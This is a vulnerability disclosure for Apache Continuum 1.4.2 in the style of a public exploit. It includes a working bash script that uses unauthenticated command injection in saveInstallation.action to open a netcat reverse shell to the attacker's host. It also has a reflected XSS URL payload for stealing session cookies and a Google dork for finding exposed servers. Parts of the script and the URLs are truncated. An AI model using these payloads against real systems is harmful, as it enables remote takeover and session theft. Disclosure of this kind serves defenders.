Apache Continuum 1.4.2 - Multiple Vulnerabilities

# Exploit Title: Unauthenticated command injection - Apache Continuum
# Google Dork: inurl::8080/continuum/
# Date: 04/06/2016
# Exploit Author: David Shanahan (@cyberpunksec)
# Contact: http://www.procheckup.com/
# Vendor Homepage: https://continuum.apache.org/
# Software Link: https://continuum.apache.org/download.cgi
# Version: 1.4.2
# Tested on: Debian
--- Description ---
Apache Continuum is a continuous integration server for building Java projects https://continuum.apache.org/
ProCheckUp has discovered that Apache Continuum is vulnerable to an unauthenticated command injection attack and reflected XSS.
1) Command injection
Vulnerable URL -
Vulnerable Parameter - installation.varValue
if [ $# -eq 0 ]
    echo "$0 <rhost> <rport> <lhost> <lport>"
    echo "Remember to set up your netcat listener"
    exit 1
cmd="\`nc $3 $4 -e /bin/sh\`"
echo "\n\t[ Apache Continuum <= v1.4.2 CMD Injection ]"
echo "\t\t[ Procheckup - David Shanahan ]\n"
curl http://$1:$2/continuum/saveInstallation.action --data "installation.name=blah&installation.type=jdk&installation.varValue=$cmd"


2) Reflected XSS
The cross site scripting attack works against authenticated users only. An example attack would be to send an authenticated user (let's say the admin) the malicious URL.
If the victim is logged in and accesses the URL, the attacker could steal the victim's session cookie and impersonate them.
Vulnerable URL -<script>alert(document.cookie)</script>&user.fullName=Guest&user.email=blah@procheckup.com&user.password=password&user.confirmPassword=password&user.timestampAccountCreation=&user.timestampLastLogin=&user.timestampLastPasswordChange=&user.locked=false&user.passwordChangeRequired=false&method:confirmAdminPassword=Submit&cancel=Cancel<>


The Apache Continuum project is no longer maintained. Removal of the software is recommended.